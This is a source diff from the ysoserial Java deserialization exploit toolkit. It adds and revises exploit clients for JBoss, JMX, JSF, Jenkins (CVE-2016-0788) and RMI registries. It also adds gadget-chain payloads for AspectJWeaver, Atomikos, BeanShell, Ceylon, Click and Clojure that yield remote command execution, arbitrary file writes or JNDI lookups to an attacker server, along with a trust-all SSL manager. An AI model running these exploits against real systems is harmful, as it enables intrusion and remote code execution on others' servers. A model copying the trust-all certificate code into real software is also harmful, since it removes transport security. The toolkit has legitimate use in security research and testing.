 import ysoserial.payloads.ObjectPayload.Utils;
+import ysoserial.payloads.util.Reflections;
 
 
 /**
@@ -123,7 +124,7 @@ public class JBoss {
         }
 
         doRun(u, payloadObject, username, password);
-        Utils.releasePayload(args[1], payloadObject);
+        Utils.postSerializeRelease(args[1], payloadObject);
     }
 
 
@@ -272,7 +273,7 @@ public class JBoss {
         VersionedConnection vc;
         Class<?> vcf = Class.forName("org.jboss.remotingjmx.VersionedConectionFactory");
         Method vcCreate = vcf.getDeclaredMethod("createVersionedConnection", Channel.class, Map.class, JMXServiceURL.class);
-        vcCreate.setAccessible(true);
+        Reflections.setAccessible(vcCreate);
         vc = (VersionedConnection) vcCreate.invoke(null, c, new HashMap(), new JMXServiceURL("service:jmx:remoting-jmx://"));
         return vc;
     }

src/main/java/ysoserial/exploit/JMXInvokeMBean.java

@@ -0,0 +1,39 @@
+package ysoserial.exploit;
+
+import javax.management.MBeanServerConnection;
+import javax.management.ObjectName;
+import javax.management.remote.JMXConnector;
+import javax.management.remote.JMXConnectorFactory;
+import javax.management.remote.JMXServiceURL;
+
+import ysoserial.payloads.ObjectPayload.Utils;
+
+/*
+ * Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.
+ * Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.
+ * 
+ */
+public class JMXInvokeMBean {
+
+	public static void main(String[] args) throws Exception {
+	
+		if ( args.length < 4 ) {
+			System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <payload_type> <payload_arg>");
+			System.exit(-1);
+		}
+    	
+		JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");
+        
+		JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
+		MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();
+
+		// create the payload
+		Object payloadObject = Utils.makePayloadObject(args[2], args[3]);   
+		ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
+
+		mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});
+
+		//close the connection
+		jmxConnector.close();
+    }
+}

src/main/java/ysoserial/exploit/JRMPClient.java

@@ -20,11 +20,11 @@ import ysoserial.payloads.ObjectPayload.Utils;
 
 /**
  * Generic JRMP client
- * 
+ *
- * Pretty much the same thing as {@link RMIRegistryExploit} but 
+ * Pretty much the same thing as {@link RMIRegistryExploit} but
  * - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)
  * - not deserializing anything (so you don't get yourself exploited ;))
- * 
+ *
  * @author mbechler
  *
  */
@@ -49,7 +49,7 @@ public class JRMPClient {
         catch ( Exception e ) {
             e.printStackTrace(System.err);
         }
-        Utils.releasePayload(args[2], payloadObject);
+        Utils.postSerializeRelease(args[2], payloadObject);
     }
 
     public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
@@ -80,7 +80,7 @@ public class JRMPClient {
 
             objOut.writeInt(1); // dirty
             objOut.writeLong(-669196253586618813L);
-            
+
             objOut.writeObject(payloadObject);
 
             os.flush();
@@ -95,9 +95,10 @@ public class JRMPClient {
         }
     }
 
+    // based on http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/server/MarshalOutputStream.java
     static final class MarshalOutputStream extends ObjectOutputStream {
-        
+
-        
+
         private URL sendUrl;
 
         public MarshalOutputStream (OutputStream out, URL u) throws IOException {
@@ -119,7 +120,7 @@ public class JRMPClient {
             else {
                 URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs();
                 String cb = "";
-                
+
                 for ( URL u : us ) {
                     cb += u.toString();
                 }
@@ -137,5 +138,5 @@ public class JRMPClient {
         }
     }
 
- 
+
 }

src/main/java/ysoserial/exploit/JRMPListener.java

@@ -122,7 +122,7 @@ public class JRMPListener implements Runnable {
             System.err.println("Listener error");
             e.printStackTrace(System.err);
         }
-        Utils.releasePayload(args[1], payloadObject);
+        Utils.postSerializeRelease(args[1], payloadObject);
     }
 
 

src/main/java/ysoserial/exploit/JSF.java

@@ -16,19 +16,19 @@ import ysoserial.payloads.ObjectPayload.Utils;
 
 /**
  * JSF view state exploit
- * 
+ *
  * Delivers a gadget payload via JSF ViewState token.
- * 
+ *
  * This will only work if ViewState encryption/mac is disabled.
- * 
+ *
  * While it has been long known that client side state saving
  * with encryption disabled leads to RCE via EL injection,
  * this of course also works with deserialization gadgets.
- * 
+ *
- * Also, it turns out that MyFaces is vulnerable to this even when 
+ * Also, it turns out that MyFaces is vulnerable to this even when
  * using server-side state saving
- * (yes, please, let's (de-)serialize a String as an Object).   
+ * (yes, please, let's (de-)serialize a String as an Object).
- * 
+ *
  * @author mbechler
  *
  */
@@ -71,7 +71,7 @@ public class JSF {
         catch ( Exception e ) {
             e.printStackTrace(System.err);
         }
-        Utils.releasePayload(args[1], payloadObject);
+        Utils.postSerializeRelease(args[1], payloadObject);
 
     }
 

src/main/java/ysoserial/exploit/JenkinsCLI.java

@@ -24,16 +24,17 @@ import hudson.remoting.Channel;
 import hudson.remoting.Channel.Mode;
 import hudson.remoting.ChannelBuilder;
 import ysoserial.payloads.ObjectPayload.Utils;
+import ysoserial.payloads.util.Reflections;
 
 /**
  * Jenkins CLI client
- * 
+ *
  * Jenkins unfortunately is still using a custom serialization based
  * protocol for remote communications only protected by a blacklisting
  * application level filter.
- * 
+ *
- * This is a generic client delivering a gadget chain payload via that protocol. 
+ * This is a generic client delivering a gadget chain payload via that protocol.
- * 
+ *
  * @author mbechler
  *
  */
@@ -66,14 +67,14 @@ public class JenkinsCLI {
                 }
             }
         }
-        Utils.releasePayload(args[1], payloadObject);
+        Utils.postSerializeRelease(args[1], payloadObject);
     }
 
     public static Callable<?, ?> getPropertyCallable ( final Object prop )
             throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
         Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
         Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
-        reqCons.setAccessible(true);
+        Reflections.setAccessible(reqCons);
         Object getJarLoader = reqCons
                 .newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[] {
                     prop
@@ -83,19 +84,19 @@ public class JenkinsCLI {
 
     public static InetSocketAddress getCliPort ( String jenkinsUrl ) throws MalformedURLException, IOException {
         URL u = new URL(jenkinsUrl);
-    
+
         URLConnection conn = u.openConnection();
         if ( ! ( conn instanceof HttpURLConnection ) ) {
             System.err.println("Not a HTTP URL");
             throw new MalformedURLException();
         }
-    
+
         HttpURLConnection hc = (HttpURLConnection) conn;
         if ( hc.getResponseCode() >= 400 ) {
             System.err.println("* Error connection to jenkins HTTP " + u);
         }
         int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port"));
-    
+
         return new InetSocketAddress(u.getHost(), clip);
     }
 
@@ -104,13 +105,13 @@ public class JenkinsCLI {
         Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
         s.setKeepAlive(true);
         s.setTcpNoDelay(true);
-    
+
         System.err.println("* Opening channel");
         OutputStream outputStream = s.getOutputStream();
         DataOutputStream dos = new DataOutputStream(outputStream);
         dos.writeUTF("Protocol:CLI-connect");
         ExecutorService cp = Executors.newCachedThreadPool(new ThreadFactory() {
-    
+
             public Thread newThread ( Runnable r ) {
                 Thread t = new Thread(r, "Channel");
                 t.setDaemon(true);

src/main/java/ysoserial/exploit/JenkinsListener.java

@@ -31,18 +31,18 @@ import ysoserial.payloads.util.Reflections;
 
 /**
  * CVE-2016-0788 exploit (1)
- * 
+ *
  * 1. delivers a ysoserial.payloads.JRMPListener payload to jenkins via it's remoting protocol.
  * 2. that payload causes the remote server to open up an JRMP listener (and export an object).
  * 3. connect to that JRMP listener and deliver any otherwise blacklisted payload.
- * 
+ *
  * Extra twist:
  * The well-known objects exported by the listener use the system classloader which usually
  * won't contain the targeted classes. Therefor we need to get ahold of the exported object's id
  * (which is using jenkins' classloader) that typically is properly randomized.
  * Fortunately - for the exploiting party - there is also a gadget that allows to leak
  * that identifier via an exception.
- * 
+ *
  * @author mbechler
  */
 @SuppressWarnings ( {
@@ -78,7 +78,7 @@ public class JenkinsListener {
             System.err.println("* JarLoader oid is " + oid);
 
             Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort));
-            
+
             Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
 
             Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass);
@@ -117,7 +117,7 @@ public class JenkinsListener {
     private static Object makeIsPresentOnRemoteCallable ( int oid, Object uro, Class<?> reqClass )
             throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException {
         Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
-        reqCons.setAccessible(true);
+        Reflections.setAccessible(reqCons);
         return reqCons
                 .newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[] {
                     uro,
@@ -196,7 +196,7 @@ public class JenkinsListener {
             final Object object = payload.getObject(payloadArg);
             objOut.writeObject(object);
             os.flush();
-            ObjectPayload.Utils.releasePayload(payload, object);
+            ObjectPayload.Utils.postSerializeRelease(payload, object);
         }
         catch ( Exception e ) {
             e.printStackTrace(System.err);

src/main/java/ysoserial/exploit/JenkinsReverse.java

@@ -7,20 +7,19 @@ import java.rmi.registry.Registry;
 import java.util.Random;
 
 import hudson.remoting.Channel;
-import ysoserial.exploit.JRMPListener;
 import ysoserial.payloads.JRMPClient;
 import ysoserial.payloads.ObjectPayload.Utils;
 
 
 /**
  * CVE-2016-0788 exploit (2)
- * 
+ *
  * - Sets up a local {@link JRMPListener}
- * - Delivers a {@link ysoserial.payloads.JRMPClient} payload via the CLI protocol 
+ * - Delivers a {@link ysoserial.payloads.JRMPClient} payload via the CLI protocol
  *   that will cause the remote to open a JRMP connection to our listener
- * - upon connection the specified payload will be delivered to the remote 
+ * - upon connection the specified payload will be delivered to the remote
  *    (that will deserialize using a default ObjectInputStream)
- * 
+ *
  * @author mbechler
  *
  */
@@ -75,6 +74,6 @@ public class JenkinsReverse {
                 }
             }
         }
-        Utils.releasePayload(args[2], payloadObject);
+        Utils.postSerializeRelease(args[2], payloadObject);
     }
 }

src/main/java/ysoserial/exploit/RMIRegistryExploit.java

@@ -1,9 +1,15 @@
 package ysoserial.exploit;
 
+import java.io.IOException;
+import java.net.Socket;
+import java.rmi.ConnectIOException;
 import java.rmi.Remote;
 import java.rmi.registry.LocateRegistry;
 import java.rmi.registry.Registry;
+import java.rmi.server.RMIClientSocketFactory;
+import java.security.cert.X509Certificate;
 import java.util.concurrent.Callable;
+import javax.net.ssl.*;
 
 import ysoserial.payloads.CommonsCollections1;
 import ysoserial.payloads.ObjectPayload;
@@ -20,14 +26,41 @@ import ysoserial.secmgr.ExecCheckingSecurityManager;
  */
 @SuppressWarnings({"rawtypes", "unchecked"})
 public class RMIRegistryExploit {
+	private static class TrustAllSSL implements X509TrustManager {
+		private static final X509Certificate[] ANY_CA = {};
+		public X509Certificate[] getAcceptedIssuers() { return ANY_CA; }
+		public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
+		public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
+	}
+
+	private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {
+		public Socket createSocket(String host, int port) throws IOException {
+			try {
+				SSLContext ctx = SSLContext.getInstance("TLS");
+				ctx.init(null, new TrustManager[] {new TrustAllSSL()}, null);
+				SSLSocketFactory factory = ctx.getSocketFactory();
+				return factory.createSocket(host, port);
+			} catch(Exception e) {
+				throw new IOException(e);
+			}
+		}
+	}
+
 	public static void main(final String[] args) throws Exception {
 		final String host = args[0];
 		final int port = Integer.parseInt(args[1]);
 		final String command = args[3];
-		final Registry registry = LocateRegistry.getRegistry(host, port);
+		Registry registry = LocateRegistry.getRegistry(host, port);
 		final String className = CommonsCollections1.class.getPackage().getName() +  "." + args[2];
 		final Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);
 
+		// test RMI registry connection and upgrade to SSL connection on fail
+		try {
+			registry.list();
+		} catch(ConnectIOException ex) {
+			registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
+		}
+
 		// ensure payload doesn't detonate during construction or deserialization
 		exploit(registry, payloadClass, command);
 	}
@@ -45,7 +78,7 @@ public class RMIRegistryExploit {
 			} catch (Throwable e) {
 				e.printStackTrace();
 			}
-			Utils.releasePayload(payloadObj, payload);
+			Utils.postSerializeRelease(payloadObj, payload);
 			return null;
 		}});
 	}

src/main/java/ysoserial/payloads/AspectJWeaver.java

@@ -0,0 +1,109 @@
+package ysoserial.payloads;
+
+import org.apache.commons.codec.binary.Base64;
+import org.apache.commons.collections.Transformer;
+import org.apache.commons.collections.functors.ConstantTransformer;
+import org.apache.commons.collections.keyvalue.TiedMapEntry;
+import org.apache.commons.collections.map.LazyMap;
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.annotation.PayloadTest;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+import java.io.File;
+import java.io.Serializable;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+
+/*
+Gadget chain:
+HashSet.readObject()
+    HashMap.put()
+        HashMap.hash()
+            TiedMapEntry.hashCode()
+                TiedMapEntry.getValue()
+                    LazyMap.get()
+                        SimpleCache$StorableCachingMap.put()
+                            SimpleCache$StorableCachingMap.writeToPath()
+                                FileOutputStream.write()
+
+Usage:
+args = "<filename>;<base64 content>"
+Example:
+java -jar ysoserial.jar AspectJWeaver "ahi.txt;YWhpaGloaQ=="
+
+More information:
+https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5
+ */
+@PayloadTest(harness="ysoserial.test.payloads.SimpleFileWriteTest")
+@SuppressWarnings({"rawtypes", "unchecked"})
+@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
+@Authors({ Authors.JANG })
+
+public class AspectJWeaver implements ObjectPayload<Serializable> {
+
+    public Serializable getObject(final String command) throws Exception {
+        int sep = command.lastIndexOf(';');
+        if ( sep < 0 ) {
+            throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
+        }
+        String[] parts = command.split(";");
+        String filename = parts[0];
+        File file = new File(filename);
+        byte[] content = Base64.decodeBase64(parts[1]);
+
+        Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
+        Object simpleCache = ctor.newInstance(file.getParent().toString(), 12);
+        Transformer ct = new ConstantTransformer(content);
+        Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
+        TiedMapEntry entry = new TiedMapEntry(lazyMap, file.getName());
+        HashSet map = new HashSet(1);
+        map.add("foo");
+        Field f = null;
+        try {
+            f = HashSet.class.getDeclaredField("map");
+        } catch (NoSuchFieldException e) {
+            f = HashSet.class.getDeclaredField("backingMap");
+        }
+
+        Reflections.setAccessible(f);
+        HashMap innimpl = (HashMap) f.get(map);
+
+        Field f2 = null;
+        try {
+            f2 = HashMap.class.getDeclaredField("table");
+        } catch (NoSuchFieldException e) {
+            f2 = HashMap.class.getDeclaredField("elementData");
+        }
+
+        Reflections.setAccessible(f2);
+        Object[] array = (Object[]) f2.get(innimpl);
+
+        Object node = array[0];
+        if(node == null){
+            node = array[1];
+        }
+
+        Field keyField = null;
+        try{
+            keyField = node.getClass().getDeclaredField("key");
+        }catch(Exception e){
+            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
+        }
+
+        Reflections.setAccessible(keyField);
+        keyField.set(node, entry);
+
+        return map;
+
+    }
+
+    public static void main(String[] args) throws Exception {
+        args = new String[]{"..\\ahi.txt;YWhpaGloaQ=="};
+        PayloadRunner.run(AspectJWeaver.class, args);
+    }
+}

src/main/java/ysoserial/payloads/Atomikos.java

@@ -0,0 +1,77 @@
+package ysoserial.payloads;
+
+import javax.management.BadAttributeValueExpException;
+
+import com.atomikos.icatch.jta.RemoteClientUserTransaction;
+
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.annotation.PayloadTest;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+/**
+*
+* Gadget chain:
+*
+* 	javax/management/BadAttributeValueExpException.readObject()
+*  		com/atomikos/icatch/jta/RemoteClientUserTransaction.toString()
+*  		com/atomikos/icatch/jta/RemoteClientUserTransaction.checkSetup()
+*  			javax/naming/InitialContext.lookup()
+*
+*
+* Arguments:
+* - (rmi,ldap)://<attacker_server>[:<attacker_port>]/<classname>
+*
+*
+* @author pwntester
+* 	payload added by sciccone
+*
+* This gadget chain was also discovered by pwntester:
+* https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf
+*
+*/
+@PayloadTest(harness="ysoserial.test.payloads.JRMPReverseConnectTest")
+@Dependencies( { "com.atomikos:transactions-jta:4.0.6", "com.atomikos:transactions-api:4.0.6", "com.atomikos:atomikos-util:4.0.6", "javax.transaction:jta:1.1" } )
+@Authors({ Authors.PWNTESTER, Authors.SCICCONE })
+public class Atomikos implements ObjectPayload<Object> {
+
+	@Override
+	public Object getObject(String command) throws Exception {
+
+		// validate command
+        int sep = command.lastIndexOf('/');
+        if ( sep < 0 || (!command.startsWith("ldap") && !command.startsWith("rmi")))
+			throw new IllegalArgumentException("Command format is: " + command
+					+ "(rmi,ldap)://<attacker_server>[:<attacker_port>]/<classname>");
+
+        String url = command.substring(0, sep);
+        String className = command.substring(sep + 1);
+
+		// create factory based on url
+		String initialContextFactory;
+		if (url.startsWith("ldap"))
+			initialContextFactory = "com.sun.jndi.ldap.LdapCtxFactory";
+		else
+			initialContextFactory = "com.sun.jndi.rmi.registry.RegistryContextFactory";
+
+		// create object
+		RemoteClientUserTransaction rcut = new RemoteClientUserTransaction();
+
+		// set values using reflection
+		Reflections.setFieldValue(rcut, "initialContextFactory", initialContextFactory);
+		Reflections.setFieldValue(rcut, "providerUrl", url);
+		Reflections.setFieldValue(rcut, "userTransactionServerLookupName", className);
+
+		// create exception
+		BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
+		Reflections.setFieldValue(exception, "val", rcut);
+
+		return exception;
+	}
+
+
+    public static void main ( final String[] args ) throws Exception {
+        PayloadRunner.run(Atomikos.class, args);
+    }
+}

src/main/java/ysoserial/payloads/BeanShell1.java

@@ -7,7 +7,6 @@ import java.lang.reflect.InvocationHandler;
 import java.lang.reflect.Proxy;
 import java.util.Arrays;
 import java.util.Comparator;
-import java.util.List;
 import java.util.PriorityQueue;
 
 import ysoserial.Strings;
@@ -23,41 +22,41 @@ import ysoserial.payloads.util.PayloadRunner;
 @SuppressWarnings({ "rawtypes", "unchecked" })
 @Dependencies({ "org.beanshell:bsh:2.0b5" })
 @Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})
-public class BeanShell1 extends ExtendedObjectPayload<PriorityQueue> {
+public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
+
+    public PriorityQueue getObject(String command) throws Exception {
+	// BeanShell payload
 
-    public PriorityQueue getObject(String[] command) throws Exception {
-    	// BeanShell payload
-    
         String payload =
             "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" +
                 Strings.join( // does not support spaces in quotes
-                    Arrays.asList(Strings.escapeJavaStrings(command)),
+                    Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")),
                     ",", "\"", "\"") +
                 "}).start();return new Integer(1);}";
-    
+
-        	// Create Interpreter
+	// Create Interpreter
-        	Interpreter i = new Interpreter();
+	Interpreter i = new Interpreter();
-        
+
-        	// Evaluate payload
+	// Evaluate payload
-        	i.eval(payload);
+	i.eval(payload);
-        
+
-        	// Create InvocationHandler
+	// Create InvocationHandler
-        	XThis xt = new XThis(i.getNameSpace(), i);
+	XThis xt = new XThis(i.getNameSpace(), i);
-        	InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
+	InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
-        
+
-        	// Create Comparator Proxy
+	// Create Comparator Proxy
-        	Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
+	Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
-        
+
-        	// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
+	// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
-        	final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
+	final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
-        	Object[] queue = new Object[] {1,1};
+	Object[] queue = new Object[] {1,1};
-        	Reflections.setFieldValue(priorityQueue, "queue", queue);
+	Reflections.setFieldValue(priorityQueue, "queue", queue);
-        	Reflections.setFieldValue(priorityQueue, "size", 2);
+	Reflections.setFieldValue(priorityQueue, "size", 2);
-        
+
-        	return priorityQueue;
+	return priorityQueue;
     }
 
     public static void main(final String[] args) throws Exception {
-        PayloadRunner.run(BeanShell1.class, args);
+	PayloadRunner.run(BeanShell1.class, args);
     }
 }

src/main/java/ysoserial/payloads/C3P0.java

@@ -38,7 +38,7 @@ import ysoserial.payloads.util.Reflections;
  * @author mbechler
  *
  */
-@PayloadTest ( harness = "ysoserial.payloads.RemoteClassLoadingTest" )
+@PayloadTest ( harness="ysoserial.test.payloads.RemoteClassLoadingTest" )
 @Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} )
 @Authors({ Authors.MBECHLER })
 public class C3P0 implements ObjectPayload<Object> {

src/main/java/ysoserial/payloads/Ceylon.java

@@ -0,0 +1,28 @@
+package ysoserial.payloads;
+
+import com.redhat.ceylon.compiler.java.language.SerializationProxy;
+
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.PayloadRunner;
+
+@Authors({ Authors.KULLRICH })
+@Dependencies({ "org.ceylon-lang:ceylon.language:1.3.3" })
+public class Ceylon implements ObjectPayload<Object>
+{
+
+	//
+	// Probably the simplest deser gadget ever ;-)
+	//
+	@Override
+	public Object getObject(String command) throws Exception {
+		final Object templates = Gadgets.createTemplatesImpl(command);
+
+		return new SerializationProxy (templates, templates.getClass(), "getOutputProperties");
+	}
+
+    public static void main(String[] args) throws Exception {
+        PayloadRunner.run(Ceylon.class, args);
+    }
+}

src/main/java/ysoserial/payloads/Click1.java

@@ -0,0 +1,81 @@
+package ysoserial.payloads;
+
+import org.apache.click.control.Column;
+import org.apache.click.control.Table;
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+import java.math.BigInteger;
+import java.util.Comparator;
+import java.util.PriorityQueue;
+
+/*
+    Apache Click chain based on arbitrary getter calls in PropertyUtils.getObjectPropertyValue().
+    We use java.util.PriorityQueue to trigger ColumnComparator.compare().
+    After that, ColumnComparator.compare() leads to TemplatesImpl.getOutputProperties() via unsafe reflection.
+
+    Chain:
+
+    java.util.PriorityQueue.readObject()
+      java.util.PriorityQueue.heapify()
+        java.util.PriorityQueue.siftDown()
+          java.util.PriorityQueue.siftDownUsingComparator()
+            org.apache.click.control.Column$ColumnComparator.compare()
+              org.apache.click.control.Column.getProperty()
+                org.apache.click.control.Column.getProperty()
+                  org.apache.click.util.PropertyUtils.getValue()
+                    org.apache.click.util.PropertyUtils.getObjectPropertyValue()
+                      java.lang.reflect.Method.invoke()
+                        com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
+                        ...
+
+    Arguments:
+    - command to execute
+
+    Yields:
+    - RCE via TemplatesImpl.getOutputProperties()
+
+    Requires:
+    - Apache Click
+    - servlet-api of any version
+
+    by @artsploit
+*/
+@SuppressWarnings({ "rawtypes", "unchecked" })
+@Dependencies({"org.apache.click:click-nodeps:2.3.0", "javax.servlet:javax.servlet-api:3.1.0"})
+@Authors({ Authors.ARTSPLOIT })
+public class Click1 implements ObjectPayload<Object> {
+
+    public Object getObject(final String command) throws Exception {
+
+        // prepare a Column.comparator with mock values
+        final Column column = new Column("lowestSetBit");
+        column.setTable(new Table());
+        Comparator comparator = (Comparator) Reflections.newInstance("org.apache.click.control.Column$ColumnComparator", column);
+
+        // create queue with numbers and our comparator
+        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
+        // stub data for replacement later
+        queue.add(new BigInteger("1"));
+        queue.add(new BigInteger("1"));
+
+        // switch method called by the comparator,
+        // so it will trigger getOutputProperties() when objects in the queue are compared
+        column.setName("outputProperties");
+
+        // finally, we inject and new TemplatesImpl object into the queue,
+        // so its getOutputProperties() method will be called
+        final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
+        final Object templates = Gadgets.createTemplatesImpl(command);
+        queueArray[0] = templates;
+
+        return queue;
+    }
+
+    public static void main(final String[] args) throws Exception {
+        PayloadRunner.run(Click1.class, args);
+    }
+}

src/main/java/ysoserial/payloads/Clojure.java

@@ -26,11 +26,23 @@ import java.util.Map;
  */
 @Dependencies({"org.clojure:clojure:1.8.0"})
 @Authors({ Authors.JACKOFMOSTTRADES })
-public class Clojure extends ExtendedObjectPayload<Map<?, ?>> {
+public class Clojure extends PayloadRunner implements ObjectPayload<Map<?, ?>> {
 
-	public Map<?, ?> getObject(final String[] command) throws Exception {
+	public Map<?, ?> getObject(final String command) throws Exception {
 
-        String cmd = Strings.join(Arrays.asList(Strings.escapeJavaStrings(command)), " ", "\"", "\"");
+//		final String[] execArgs = command.split(" ");
+//		final StringBuilder commandArgs = new StringBuilder();
+//		for (String arg : execArgs) {
+//			commandArgs.append("\" \"");
+//			commandArgs.append(arg);
+//		}
+//		commandArgs.append("\"");
+
+
+//		final String clojurePayload =
+//				String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", commandArgs.substring(2));
+
+        String cmd = Strings.join(Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\").split(" ")), " ", "\"", "\"");
 
         final String clojurePayload =
             String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", cmd);
@@ -58,4 +70,5 @@ public class Clojure extends ExtendedObjectPayload<Map<?, ?>> {
 	public static void main(final String[] args) throws Exception {
 		PayloadRunner.run(Clojure.class, args);
 	}
+
 }

src/main/java/ysoserial/payloads/Clojure2.java

@@ -0,0 +1,61 @@
+package ysoserial.payloads;
+
+import clojure.lang.Iterate;
+import ysoserial.Strings;
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+import java.util.Arrays;
+import java.util.Map;
+
+/*
+	Gadget chain:
+		ObjectInputStream.readObject()
+			HashMap.readObject()
+				clojure.lang.ASeq.hashCode()
+					clojure.lang.Iterate.first() -> null
+					clojure.lang.Iterate.next()  -> new Iterate(f, null, UNREALIZED_SEED)
+					clojure.lang.Iterate.first() -> this.f.invoke(null)
+						clojure.core$constantly$fn__4614.invoke()
+						clojure.main$eval_opt.invoke()
+
+	Requires:
+		org.clojure:clojure
+		Versions since 1.8.0 are vulnerable; for earlier versions see Clojure.java.
+		  Versions up to 1.10.0-alpha4 are known to be vulnerable.
+ */
+@Dependencies({"org.clojure:clojure:1.8.0"})
+@Authors({ Authors.JACKOFMOSTTRADES })
+public class Clojure2 extends PayloadRunner implements ObjectPayload<Map<?, ?>> {
+
+	public Map<?, ?> getObject(final String command) throws Exception {
+        String cmd = Strings.join(Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\").split(" ")), " ", "\"", "\"");
+
+        final String clojurePayload =
+            String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", cmd);
+
+        Iterate model = Reflections.createWithoutConstructor(Iterate.class);
+		Object evilFn =
+				new clojure.core$comp().invoke(
+						new clojure.main$eval_opt(),
+						new clojure.core$constantly().invoke(clojurePayload));
+
+		// Wrap the evil function with a composition that invokes the payload, then throws an exception. Otherwise Iterable()
+        // ends up triggering the payload in an infinite loop as it tries to compute the hashCode.
+        evilFn = new clojure.core$comp().invoke(
+            new clojure.main$eval_opt(),
+            new clojure.core$constantly().invoke("(throw (Exception. \"Some text\"))"),
+            evilFn);
+
+        Reflections.setFieldValue(model, "f", evilFn);
+        return Gadgets.makeMap(model, null);
+	}
+
+	public static void main(final String[] args) throws Exception {
+		PayloadRunner.run(Clojure2.class, args);
+	}
+
+}

src/main/java/ysoserial/payloads/CommonsBeanutils1.java

@@ -14,9 +14,9 @@ import ysoserial.payloads.util.Reflections;
